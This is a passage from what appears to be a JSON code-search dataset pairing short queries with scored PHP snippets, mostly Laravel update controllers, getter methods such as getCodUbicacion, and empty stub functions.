$product->shortDesc = $input['shortDesc'];\n\n $product->description = $input['description'];\n\n\n\n $product->save();\n\n\n\n return $this->sendResponse(new ProductResource($product), 'Product updated successfully.');\n\n }", "title": "" }, { "docid": "fa4d35fe272f742ecbc45d6ae01985ba", "score": "0.5411923", "text": "public function update(Request $request, $id)\n {\n \n $validator = Validator::make($request->all(),[\n 'name' => 'required|string|max:255',\n 'user_id' => 'required|exists:App\\Models\\User,id',\n 'category_id' => 'required|exists:App\\Models\\Category,id',\n 'description' => 'required',\n 'price' => 'required',\n 'photo' => 'image'\n\n ]);\n\n if($validator->fails()){\n return response()->json($validator->errors()); \n }\n \n $product = Product::find($id);\n $product -> name = $request['name'];\n $product -> user_id = $request['user_id'];\n $product -> category_id = $request['category_id'];\n $product -> description = $request['description'];\n $product -> price = $request['price'];\n\n if($request->hasFile('photo')){\n if(File::exists(public_path(\"storage/\").$product -> photo)){\n File::delete(public_path(\"storage/\").$product -> photo);\n }\n $product -> photo=$request->photo->store('photo');\n }\n\n $product -> save();\n\n return response()\n ->json(['success' => 1,'message' => 'Updated succesfully!']);\n }", "title": "" }, { "docid": "daa5dabd0608fa1791ffe3d1866a3e16", "score": "0.5410523", "text": "public function update(StoreUpdateProductRequest $request, $id)\n {\n \n $product = $this->repository->find($id);\n if(!$product){\n return redirect()->back();\n }\n\n $data = $request->all();\n\n // Upload de Imagem \n if($request->hasFile('image') && $request->image->isValid()){\n\n /** Verifica se o arquivo existe */\n if($product->image && Storage::exists($product->image)){\n /** Deleta o arquivo */\n Storage::delete($product->image);\n }\n // Salvando imagem e passando o caminho da imagem\n $imagePath = $request->image->store('products');\n\n // Passando o nome da imagem para armazenar no banco\n $data['image'] = $imagePath;\n }\n\n $product->update($data);\n return redirect()->route('product.index');\n }", "title": "" }, { "docid": "8cc682b417e81303d02cf6c27cfcadc5", "score": "0.540968", "text": "public function update(Request $request, $id)\n {\n $prds = Product::find($id);\n $prds->nombre = $request->input('nombre');\n if ($request->hasFile('foto')) {\n $file = time().'.'.$request->foto->extension();\n $request->foto->move(public_path('imgs'), $file);\n $prds->foto = \"imgs/\".$file;\n }\n $prds->directory_id = $request->input('directory_id');\n if($prds->save()) {\n return redirect('directories')\n ->with('status', 'La Noticia '.$prds->nombre.' se modifico con Exito!');\n }\n }", "title": "" }, { "docid": "51af550a7cfb8f966c66be0c2f793c3b", "score": "0.54074425", "text": "public function update($id, Request $request)\n\t{\n\t\t$content = Content::findOrFail($id);\n\t\t$data['name'] = $request->name;\n if($request['image-data'] != null){\n \t$image = $this->uploadAvatarAgent($request->image, $request['image-data']);\n \t$data['image'] = $image['url'];\n }\n\t\t$data['url'] = $request->url;\n\t\t$content->update($data); \n\t\treturn redirect()->route(config('quickadmin.route').'.content.index');\n\t}", "title": "" }, { "docid": "aa18b98fb17d4cb4052efc2798af1142", "score": "0.54064333", "text": "public function testUpdateStoreItem()\n {\n }", "title": "" }, { "docid": "0754ef21e342dbc988b4756156b2c0b9", "score": "0.5404135", "text": "public function update(Request $request, Product $product)\n {\n $data = $request->all();\n\n if($request->file('picturePath'))\n {\n $data['picturePath'] = $request->file('picturePath')->store('assets/product', 'public');\n }\n\n $product->update($data);\n\n return redirect()->route('product.index');\n }", "title": "" }, { "docid": "8f9ad063c18a5eeb38cd6267a01f3028", "score": "0.5403173", "text": "public function update($id)\n {\n \n }", "title": "" }, { "docid": "8f9ad063c18a5eeb38cd6267a01f3028", "score": "0.5403173", "text": "public function update($id)\n {\n \n }", "title": "" }, { "docid": "8f9ad063c18a5eeb38cd6267a01f3028", "score": "0.5403173", "text": "public function update($id)\n {\n \n }", "title": "" }, { "docid": "8f9ad063c18a5eeb38cd6267a01f3028", "score": "0.5403173", "text": "public function update($id)\n {\n \n }", "title": "" }, { "docid": "8f9ad063c18a5eeb38cd6267a01f3028", "score": "0.5403173", "text": "public function update($id)\n {\n \n }", "title": "" } ]
fa958d8b5c09e380c37df3ca9e9e2f94
Returns the value of field codUbicacion
[ { "docid": "975d702a279052957a0966f36f49dc02", "score": "0.8776996", "text": "public function getCodUbicacion()\n {\n return $this->codUbicacion;\n }", "title": "" } ]
[ { "docid": "e06fdc2221e39be20fd7b1ecd8de512c", "score": "0.7656652", "text": "public function getCodice() \n\t{\n return $this->codice;\n }", "title": "" }, { "docid": "d4209225dcf8ffbfa316e5661d2d8b00", "score": "0.76120305", "text": "public function getCodice()\n {\n return $this->codice;\n }", "title": "" }, { "docid": "4cfff53013149f814f61eeeed7f6c4d2", "score": "0.7461456", "text": "function getCodUsu() {\n return $this->codUsu;\n }", "title": "" }, { "docid": "96a963219f15e3912c4a45a03df1b4bc", "score": "0.728747", "text": "public function getCodare(){\n\t\treturn $this->codare;\n\t}", "title": "" }, { "docid": "6e73624ec58c2fb70c27372d93bba0f9", "score": "0.7193679", "text": "public function getCodcaj(){\n\t\treturn $this->codcaj;\n\t}", "title": "" }, { "docid": "f2c90fbcdb688a034a598d8477b5a77b", "score": "0.70537865", "text": "public function getCodigo()\n {\n return $this->codigo;\n }", "title": "" }, { "docid": "f2c90fbcdb688a034a598d8477b5a77b", "score": "0.70537865", "text": "public function getCodigo()\n {\n return $this->codigo;\n }", "title": "" }, { "docid": "f2c90fbcdb688a034a598d8477b5a77b", "score": "0.70537865", "text": "public function getCodigo()\n {\n return $this->codigo;\n }", "title": "" }, { "docid": "6217f828ea855cf52397b5f1cfa1da2b", "score": "0.6991645", "text": "public function getCodigo() {\n return $this->iCodigo;\n }", "title": "" }, { "docid": "6217f828ea855cf52397b5f1cfa1da2b", "score": "0.6991645", "text": "public function getCodigo() {\n return $this->iCodigo;\n }", "title": "" }, { "docid": "6217f828ea855cf52397b5f1cfa1da2b", "score": "0.6991645", "text": "public function getCodigo() {\n return $this->iCodigo;\n }", "title": "" }, { "docid": "6217f828ea855cf52397b5f1cfa1da2b", "score": "0.6991645", "text": "public function getCodigo() {\n return $this->iCodigo;\n }", "title": "" }, { "docid": "6217f828ea855cf52397b5f1cfa1da2b", "score": "0.6991645", "text": "public function getCodigo() {\n return $this->iCodigo;\n }", "title": "" }, { "docid": "21d745eb2ae1a1d277c5d17bf7025dce", "score": "0.6981171", "text": "public function getcodigo()\r\n {\r\n return $this->codigo;\r\n }", "title": "" }, { "docid": "21d745eb2ae1a1d277c5d17bf7025dce", "score": "0.6981171", "text": "public function getcodigo()\r\n {\r\n return $this->codigo;\r\n }", "title": "" }, { "docid": "d06ea9e73a8e02967e34a616112c37b7", "score": "0.6974885", "text": "public function getCodigo(){\n return $this->codigo;\n }", "title": "" }, { "docid": "ac8ba2a847e9255c1d63bf316f0c1454", "score": "0.69350827", "text": "public function getCodiceFiscale(){ return $this->codiceFiscale;}", "title": "" }, { "docid": "f30046136a93d69eb6f4e7dedfb9a3d9", "score": "0.6930641", "text": "public function getCodigo()\n {\n return $this->codigo;\n }", "title": "" }, { "docid": "b269b9f272765242485fc4ec465e716e", "score": "0.69271845", "text": "public function GetCodBarra()\n\t{\n\t\treturn $this->codBarra;\n\t}", "title": "" }, { "docid": "db04cbf0eeb2f1898c7c82e89458f850", "score": "0.6911712", "text": "public function getCodProy() {\n return $this->codProy;\n }", "title": "" }, { "docid": "6338c528439fb18698f2c7c13199427a", "score": "0.69104856", "text": "public function getCodSecion()\n {\n return $this->codSecion;\n }", "title": "" }, { "docid": "433839b28ee1e49ba8d32da84dcfcb09", "score": "0.6894143", "text": "function getCodUsuario() {\n return $this->codUsuario;\n }", "title": "" }, { "docid": "430496b5eeabddba13664c609e1031d2", "score": "0.68834233", "text": "public function getCodProy() {\n return $this->codProy;\n }", "title": "" }, { "docid": "b2fe49e21fb4a2990815b6ba76a9351a", "score": "0.68191916", "text": "public function getCodUsuario()\n {\n return $this->codUsuario;\n }", "title": "" }, { "docid": "d537cb8b8d02860442242d981364805c", "score": "0.6819107", "text": "public function getCodage()\n {\n return $this->codage;\n }", "title": "" }, { "docid": "81ce0802eacf8367c06d79c9f233a142", "score": "0.6818915", "text": "public function getCode()\n {\n if ($this->iata != null)\n return $this->iata;\n return $this->icao;\n }", "title": "" }, { "docid": "6ad1bd8910a3022851ce5e1ca7dc004c", "score": "0.67641467", "text": "public function getCodPersona()\n {\n return $this->codPersona;\n }", "title": "" }, { "docid": "6c70c3fce6ef5f80c1f40b9ba182befd", "score": "0.6712475", "text": "public function getCode()\n {\n return $this->values[\"code\"];\n }", "title": "" }, { "docid": "95b51d08bc85697bdcdeb2d5d7b3a7b5", "score": "0.66275", "text": "public function getNiche_code () {\n\t$preValue = $this->preGetValue(\"niche_code\"); \n\tif($preValue !== null && !\\Pimcore::inAdmin()) { \n\t\treturn $preValue;\n\t}\n\t$data = $this->niche_code;\n\treturn $data;\n}", "title": "" }, { "docid": "f7af64c2c6422273b2db95f017a74226", "score": "0.6622001", "text": "public function getCodAlmacen()\n {\n return $this->codAlmacen;\n }", "title": "" }, { "docid": "5ab01a2584898f8a7435bc3134128df3", "score": "0.6608894", "text": "public function getCod_autor()\r\n {\r\n return $this->cod_autor;\r\n }", "title": "" }, { "docid": "4dbcac4c308e65d22f037da1ed654f28", "score": "0.6608452", "text": "public function getIdUbicacion()\n {\n return $this->idUbicacion;\n }", "title": "" }, { "docid": "4dbcac4c308e65d22f037da1ed654f28", "score": "0.6608452", "text": "public function getIdUbicacion()\n {\n return $this->idUbicacion;\n }", "title": "" }, { "docid": "3e8edabf35f369c4c0e69ffc56490320", "score": "0.66008705", "text": "public function get_Code_utilisateur(): int { return $this->Code_utilisateur; }", "title": "" }, { "docid": "0bc74da42d7c5cac49d72b962684fd1e", "score": "0.6585438", "text": "public function getCodigo(){\n\t\treturn $this->rg_codigo;\n\t}", "title": "" }, { "docid": "66923b3822f56ac184aed73de003ff2e", "score": "0.65836036", "text": "public function getUbicacion()\n {\n return $this->ubicacion;\n }", "title": "" }, { "docid": "66923b3822f56ac184aed73de003ff2e", "score": "0.65836036", "text": "public function getUbicacion()\n {\n return $this->ubicacion;\n }", "title": "" }, { "docid": "7782a8592c8e2307f8deae94cef5d784", "score": "0.6536217", "text": "public function getCode()\n {\n return $this->getValueObject('code');\n }", "title": "" }, { "docid": "b64d5c281f7a3066aa6a92a4a011827f", "score": "0.6525606", "text": "public function getCodeCotis(): ?string {\n return $this->codeCotis;\n }", "title": "" }, { "docid": "70e9525cd76a173983d2ea64b3ab14b5", "score": "0.6515937", "text": "public function getCode()\n {\n return $this->getData()->code;\n }", "title": "" }, { "docid": "277596f57dcf58bbafc89817a7c4c567", "score": "0.64482224", "text": "private function getCodigoPresupuestarioInmuebleUrbano()\r\n\t\t{\r\n\t\t\t$codigoPresupuesto['codigo'] = '301020500';\r\n\t\t\treturn $codigo = self::getCodigoPresupuestarioByCodigo($codigoPresupuesto['codigo']);\r\n\t\t}", "title": "" }, { "docid": "825a0c23dd3a030358c5ce05fc4bcf6c", "score": "0.6444653", "text": "public function getCodeProduit() {\n return $this->codeProduit;\n }", "title": "" }, { "docid": "149504d2a717f39fefa965a74c6b5360", "score": "0.64417136", "text": "public function getCodigo()\n\t{\n\t\tif($this->input->post('codigo')){\t\t\n\t\t\t$control = $this->m_entes->controlCodigo($this->input->post('codigo'), $this->input->post('id_ente'));\n\t\t\t\n\t\t\techo $control;\n\t\t}else{\n\t\t\techo 2;\n\t\t}\t\t\t\n\t}", "title": "" }, { "docid": "5d6719474c01e673229531c66fb44627", "score": "0.64334255", "text": "public function getCode()\n {\n if (is_null($this->code)) {\n /** @psalm-var ?string $data */\n $data = $this->raw(self::FIELD_CODE);\n if (is_null($data)) {\n return null;\n }\n $this->code = (string) $data;\n }\n\n return $this->code;\n }", "title": "" }, { "docid": "24e446ad2b9fb3d550f4876d0a8f09c1", "score": "0.6431616", "text": "public function getCodeAffaire() {\n return $this->codeAffaire;\n }", "title": "" }, { "docid": "562bcf53d889b6f2eba590eff73f7f61", "score": "0.64266646", "text": "public function getCodZona()\n {\n return $this->codZona;\n }", "title": "" }, { "docid": "0314b9e3b85039a2c2c6b0d9730d3135", "score": "0.6422309", "text": "public function getCod_especial()\n {\n return $this->cod_especial;\n }", "title": "" }, { "docid": "941f413fa399558f244e52fc6f48cf2b", "score": "0.6405436", "text": "public function getCodeFournisseur(): ?string {\n return $this->codeFournisseur;\n }", "title": "" }, { "docid": "941f413fa399558f244e52fc6f48cf2b", "score": "0.6405436", "text": "public function getCodeFournisseur(): ?string {\n return $this->codeFournisseur;\n }", "title": "" }, { "docid": "242f1bb90baf332b609653b7d4d9a4bd", "score": "0.63946825", "text": "public function getCodiNoti($value) {\n\t\treturn $this->codi_noti;\n\t}", "title": "" }, { "docid": "be56f25a258f92d1c4bd9b5ecf6e21f9", "score": "0.63801646", "text": "public function get_Code_produit()\n\t\t{\n\t\t\treturn $this->Code_produit;\n\t\t}", "title": "" }, { "docid": "623a0edfd90208bc8e4321c14f189507", "score": "0.6379602", "text": "public function getCodEmpresa()\n {\n return $this->codEmpresa;\n }", "title": "" }, { "docid": "623a0edfd90208bc8e4321c14f189507", "score": "0.6379602", "text": "public function getCodEmpresa()\n {\n return $this->codEmpresa;\n }", "title": "" }, { "docid": "ec522772176b056687bb9e0b52836018", "score": "0.6366986", "text": "public function getCode() {return $this->code;}", "title": "" }, { "docid": "ecffa936daefd2a2b746ce2acfba8ea6", "score": "0.6357361", "text": "function getCode()\n {\n return $this->code;\n }", "title": "" }, { "docid": "2d766d734c0dcd981958c4cfdb5f66bc", "score": "0.6347922", "text": "function getCode()\r\n {\r\n return $this->code;\r\n }", "title": "" }, { "docid": "ce0056b3ed50daf9e22274d5844521a0", "score": "0.63435733", "text": "public function getCode() {\n return @$this->attributes['code'];\n }", "title": "" }, { "docid": "43917cbdd2fbb1bdaa359d301b218329", "score": "0.633522", "text": "public function getCarCode(){\r\n\t\t\t$this->car_code = getValue(\"SELECT car_code FROM tbl_car WHERE car_id=\".$this->car_id);\r\n\t\t\treturn $this->car_code;\r\n\t}", "title": "" }, { "docid": "84564f2e5404e5f43ab3953cb84e424e", "score": "0.6314842", "text": "public function getFcpoBiccode() \n {\n return $this->getResponseParameter('clearing_bankbic');\n }", "title": "" }, { "docid": "59c45ecc1ba13bf20b99fe93fd851341", "score": "0.630357", "text": "public function getCode() { return $this->code; }", "title": "" }, { "docid": "f9d14a43ea5b510cc4f74aa2bf5f873e", "score": "0.6300954", "text": "public function getCode()\r\n {\r\n return $this->code;\r\n }", "title": "" }, { "docid": "897dcd54b88edf5147ce0f96fb80bf6a", "score": "0.6291441", "text": "public function getCodigoIbge() {\n return $this->sIbge;\n }", "title": "" }, { "docid": "2012b170f35d2b517a6b602dad21fb33", "score": "0.628929", "text": "public function getCode() {\n return $this->code;\n }", "title": "" }, { "docid": "2012b170f35d2b517a6b602dad21fb33", "score": "0.628929", "text": "public function getCode() {\n return $this->code;\n }", "title": "" }, { "docid": "f0c8324ec207abc55e21be970724f5e3", "score": "0.62866676", "text": "public function getcode()\n {\n return $this->code;\n }", "title": "" }, { "docid": "ba9792f400541fbe3dddc1f9885b5f61", "score": "0.628308", "text": "public function getCodAgencia()\n {\n return $this->codAgencia;\n }", "title": "" }, { "docid": "ba9792f400541fbe3dddc1f9885b5f61", "score": "0.628308", "text": "public function getCodAgencia()\n {\n return $this->codAgencia;\n }", "title": "" }, { "docid": "7171fadc7f50567a5f33cfe26de06472", "score": "0.62723434", "text": "public function getCodCliente()\n {\n return $this->codCliente;\n }", "title": "" }, { "docid": "d41e6844337353f6c22e2a838ca6e5b4", "score": "0.6268612", "text": "public function getCodigoOrdem(){\n return $this->iCodigoOrdem;\n }", "title": "" }, { "docid": "ed09be3e40d4415313d322e724f2751e", "score": "0.62611455", "text": "public function getCode() {\r\n return $this->__code;\r\n }", "title": "" }, { "docid": "574edf61af69e963b6414434bf2684b9", "score": "0.6260051", "text": "public function getCode()\n {\n return $this->__get(\"code\");\n }", "title": "" }, { "docid": "8117eb77b781b64e484c00b6b50d181d", "score": "0.6256767", "text": "public function setCodUbicacion($codUbicacion)\n {\n $this->codUbicacion = $codUbicacion;\n\n return $this;\n }", "title": "" }, { "docid": "3f91952c286677104c4d60542559e495", "score": "0.62536985", "text": "public function getCode()\n {\n return $this->get(self::CODE);\n }", "title": "" }, { "docid": "19b822054fb77139f5c605577cada6fe", "score": "0.62484056", "text": "public function getCode() {\n return $this->get(self::CODE);\n }", "title": "" }, { "docid": "cff2d636914e2f0e2e110ed090fab2b7", "score": "0.62433326", "text": "public function getCode()\n {\n return $this->code;\n }", "title": "" }, { "docid": "cff2d636914e2f0e2e110ed090fab2b7", "score": "0.62433326", "text": "public function getCode()\n {\n return $this->code;\n }", "title": "" }, { "docid": "cff2d636914e2f0e2e110ed090fab2b7", "score": "0.62433326", "text": "public function getCode()\n {\n return $this->code;\n }", "title": "" }, { "docid": "cff2d636914e2f0e2e110ed090fab2b7", "score": "0.62433326", "text": "public function getCode()\n {\n return $this->code;\n }", "title": "" }, { "docid": "cff2d636914e2f0e2e110ed090fab2b7", "score": "0.62433326", "text": "public function getCode()\n {\n return $this->code;\n }", "title": "" }, { "docid": "cff2d636914e2f0e2e110ed090fab2b7", "score": "0.62433326", "text": "public function getCode()\n {\n return $this->code;\n }", "title": "" }, { "docid": "cff2d636914e2f0e2e110ed090fab2b7", "score": "0.62433326", "text": "public function getCode()\n {\n return $this->code;\n }", "title": "" }, { "docid": "cff2d636914e2f0e2e110ed090fab2b7", "score": "0.62433326", "text": "public function getCode()\n {\n return $this->code;\n }", "title": "" }, { "docid": "cff2d636914e2f0e2e110ed090fab2b7", "score": "0.62433326", "text": "public function getCode()\n {\n return $this->code;\n }", "title": "" }, { "docid": "cff2d636914e2f0e2e110ed090fab2b7", "score": "0.62433326", "text": "public function getCode()\n {\n return $this->code;\n }", "title": "" }, { "docid": "cff2d636914e2f0e2e110ed090fab2b7", "score": "0.62433326", "text": "public function getCode()\n {\n return $this->code;\n }", "title": "" }, { "docid": "cff2d636914e2f0e2e110ed090fab2b7", "score": "0.62433326", "text": "public function getCode()\n {\n return $this->code;\n }", "title": "" }, { "docid": "cff2d636914e2f0e2e110ed090fab2b7", "score": "0.62433326", "text": "public function getCode()\n {\n return $this->code;\n }", "title": "" }, { "docid": "cff2d636914e2f0e2e110ed090fab2b7", "score": "0.62433326", "text": "public function getCode()\n {\n return $this->code;\n }", "title": "" }, { "docid": "cff2d636914e2f0e2e110ed090fab2b7", "score": "0.62433326", "text": "public function getCode()\n {\n return $this->code;\n }", "title": "" }, { "docid": "cff2d636914e2f0e2e110ed090fab2b7", "score": "0.62433326", "text": "public function getCode()\n {\n return $this->code;\n }", "title": "" }, { "docid": "cff2d636914e2f0e2e110ed090fab2b7", "score": "0.62433326", "text": "public function getCode()\n {\n return $this->code;\n }", "title": "" }, { "docid": "cff2d636914e2f0e2e110ed090fab2b7", "score": "0.62433326", "text": "public function getCode()\n {\n return $this->code;\n }", "title": "" }, { "docid": "cff2d636914e2f0e2e110ed090fab2b7", "score": "0.62433326", "text": "public function getCode()\n {\n return $this->code;\n }", "title": "" }, { "docid": "cff2d636914e2f0e2e110ed090fab2b7", "score": "0.62433326", "text": "public function getCode()\n {\n return $this->code;\n }", "title": "" }, { "docid": "cff2d636914e2f0e2e110ed090fab2b7", "score": "0.62433326", "text": "public function getCode()\n {\n return $this->code;\n }", "title": "" }, { "docid": "cff2d636914e2f0e2e110ed090fab2b7", "score": "0.62433326", "text": "public function getCode()\n {\n return $this->code;\n }", "title": "" }, { "docid": "cff2d636914e2f0e2e110ed090fab2b7", "score": "0.62433326", "text": "public function getCode()\n {\n return $this->code;\n }", "title": "" }, { "docid": "cff2d636914e2f0e2e110ed090fab2b7", "score": "0.62433326", "text": "public function getCode()\n {\n return $this->code;\n }", "title": "" }, { "docid": "cff2d636914e2f0e2e110ed090fab2b7", "score": "0.62433326", "text": "public function getCode()\n {\n return $this->code;\n }", "title": "" }, { "docid": "b4af950ca9e5f4764cdbf1e73c3fa07a", "score": "0.62363464", "text": "public function getUcode()\n {\n return $this->ucode;\n }", "title": "" } ]
b13dc0679b1998f5c122a0d775e2cf2c
Cannot do this !!
[ { "docid": "7073d6beeae6c7eddbd04cd6bcfd90cb", "score": "0.0", "text": "public function testDateObjects() {\n // $date =new DateTime()->getTimeStamp();\n $date = new DateTime();\n\n $now_unix_ts = $date->getTimeStamp();\n\n $formatted_now = $date->format('Y-m-d H:i:s');\n \n print $now_unix_ts.\"\\n\";\n print $formatted_now;\n\n }", "title": "" } ]
[ { "docid": "8c13f7b38f8c05e9315047354c7aaf52", "score": "0.65134746", "text": "private function affiche()\n\t{\n\t}", "title": "" }, { "docid": "57178570dc9bde03e4de27133698a186", "score": "0.6077427", "text": "public function sinhcon()\n {\n }", "title": "" }, { "docid": "57178570dc9bde03e4de27133698a186", "score": "0.6077427", "text": "public function sinhcon()\n {\n }", "title": "" }, { "docid": "3838b50a0bc52a7cedec605802614228", "score": "0.59346", "text": "protected function apagado()\n {\n }", "title": "" }, { "docid": "0a64f55c3843c2290188f6d521d43aad", "score": "0.5870277", "text": "abstract function ingresos();", "title": "" }, { "docid": "70a83c4dd08516764597df53efb89c5e", "score": "0.5804313", "text": "public function __invoke()\n\t\t{\n\t\t}", "title": "" }, { "docid": "4f52f1196f6a83daf2580ec7fd3a474e", "score": "0.56800246", "text": "function afficher() ;", "title": "" }, { "docid": "3d1975087b310895dc9cfb4dfe1b62bf", "score": "0.5608911", "text": "abstract protected function get();", "title": "" }, { "docid": "3d1975087b310895dc9cfb4dfe1b62bf", "score": "0.5608911", "text": "abstract protected function get();", "title": "" }, { "docid": "3d1975087b310895dc9cfb4dfe1b62bf", "score": "0.5608911", "text": "abstract protected function get();", "title": "" }, { "docid": "a9e876c85e38882c5a3514c2eca20d6c", "score": "0.56080234", "text": "final private function __construct() {}", "title": "" }, { "docid": "a9e876c85e38882c5a3514c2eca20d6c", "score": "0.56080234", "text": "final private function __construct() {}", "title": "" }, { "docid": "a9e876c85e38882c5a3514c2eca20d6c", "score": "0.56080234", "text": "final private function __construct() {}", "title": "" }, { "docid": "a9e876c85e38882c5a3514c2eca20d6c", "score": "0.56080234", "text": "final private function __construct() {}", "title": "" }, { "docid": "a9e876c85e38882c5a3514c2eca20d6c", "score": "0.56080234", "text": "final private function __construct() {}", "title": "" }, { "docid": "24c504ef7b16daaa3c792288fb230c3d", "score": "0.56023055", "text": "private function do_something()\t{\r\n\r\n\t\t\r\n\t\t\r\n\t}", "title": "" }, { "docid": "866a871687bd5f7745c7246a24811426", "score": "0.5591556", "text": "abstract protected function result();", "title": "" }, { "docid": "916a1282f9a24fd2df1c44c47ada0360", "score": "0.5571001", "text": "public function refrshMe()\n {\n \n }", "title": "" }, { "docid": "eab1278711f0d9b51248a98d9c6c5eec", "score": "0.55476016", "text": "protected final function __construct () {}", "title": "" }, { "docid": "ea5ac73006ea43625cfea5e8fbe358bf", "score": "0.553108", "text": "abstract protected function _apply();", "title": "" }, { "docid": "4d3ec4d120da4f4ba73783b84248d6ac", "score": "0.5483859", "text": "private final function __construct() {}", "title": "" }, { "docid": "308b8b8aaf3fc4e68461a99f5bd29765", "score": "0.54671574", "text": "public function Snoopy()\t{\r\n\t\t\r\n\t\t\r\n\t}", "title": "" }, { "docid": "abafabb2e6139e8d44ba1c18cfac7358", "score": "0.54615915", "text": "final private function __construct() { }", "title": "" }, { "docid": "abafabb2e6139e8d44ba1c18cfac7358", "score": "0.54615915", "text": "final private function __construct() { }", "title": "" }, { "docid": "d43100de338189eadda4982451a4baf0", "score": "0.5452222", "text": "private function __costruct(){\r\n\r\n }", "title": "" }, { "docid": "1eec7fddba8050ae8d62731379a73a77", "score": "0.5445017", "text": "public function prikazi(){\n\n \t}", "title": "" }, { "docid": "cb2769aefc1f7baaf4b3cabbe30ee21a", "score": "0.5439093", "text": "public function __invoke()\n {\n// return\n }", "title": "" }, { "docid": "96ed8afda8434d9467948b5cd4efaeec", "score": "0.5425576", "text": "public function __(){\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "74995656862501c528150a00e0886be5", "score": "0.54154855", "text": "private function __construct() {}", "title": "" }, { "docid": "da3411d411aa31bb2a14b2f95d580ffb", "score": "0.5407033", "text": "abstract function get();", "title": "" }, { "docid": "bf8b6b2eac30c1afd7ebe8a254f2bc09", "score": "0.5404026", "text": "private function __construct() {\n\t\t\n\t}", "title": "" }, { "docid": "bf8b6b2eac30c1afd7ebe8a254f2bc09", "score": "0.5404026", "text": "private function __construct() {\n\t\t\n\t}", "title": "" }, { "docid": "dd27fa9e4779817a3a877c1d796b1313", "score": "0.5400058", "text": "function one() {\r\n\t\t}", "title": "" }, { "docid": "2dceddff6c01bc7d9ae08a7206696e48", "score": "0.53880805", "text": "public function andar(){\n\n\t\t}", "title": "" }, { "docid": "2dceddff6c01bc7d9ae08a7206696e48", "score": "0.53880805", "text": "public function 